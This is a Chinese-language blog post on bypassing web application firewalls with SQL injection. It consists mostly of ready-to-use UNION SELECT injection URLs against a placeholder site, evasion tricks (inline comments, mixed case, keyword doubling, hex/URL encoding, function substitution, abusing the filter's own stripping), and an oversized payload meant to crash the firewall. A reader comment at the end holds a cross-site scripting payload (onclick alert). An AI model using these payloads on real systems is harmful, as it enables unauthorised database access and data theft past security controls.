黑客技术 | SQL注入绕过WAF的方法总结-渗透学习

【摘要】基本/简单绕过方法:1、注释符http://www.site.com/index.php?page_id=-15/*!UNION*//*!SELECT*/1,2,3,4….2、使用大小写http://www.site.com/index.php?page_id=-1...

基本/简单绕过方法:

1、注释符
http://www.site.com/index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4….


2、使用大小写
http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….


3、结合前面两种方法
http://www.site.com/index.php?page_id=-15 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4….

 

4、关键字替换
http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….


5、内部注释

http://www.site.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…


U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/


高级绕过方法:

1、缓冲区溢出/使防火墙崩溃

大部分防火墙都是基于C/C++开发的,我们可以使用缓冲区溢出使用WAF崩溃

 

http://www.site.com/index.php?page_id=-15+and+(select1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4….

 

你可以使用如下方法测试WAF

 

?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4….

 

如果返回500错误,你就可以使用缓冲区溢出的方法来绕过WAF

 

2、对字母进行编码

 

http://www.site.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….

 

3、使用其他变量或者命令对注入语句进行替换

 

COMMAND | WHAT TO USE INSTEAD

 

@@version | version()

 

concat() | concat_ws()

 

group_concat() | concat_ws()

 

4、利用WAF本身的功能绕过

 

假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过

 

‍‍‍‍‍‍‍‍http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....

 

其它方法:-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)


--转载请注明本文地址!

 小东
 简介:专业团队网站开发、安全运维,合作意向请联系!

扫码关注微信公众号:ITDYBOY,学前端,学安全,从0到1,从1到精通!

扫码关注微信公众号:ITDYBOY

发表评论

游客
送你一朵小花花~

帅人已评(9)

你好" accesskey="X"  onclick="alert(document.domain)
LV 2 靓妹妹 8年前 (2017-06-18) 回复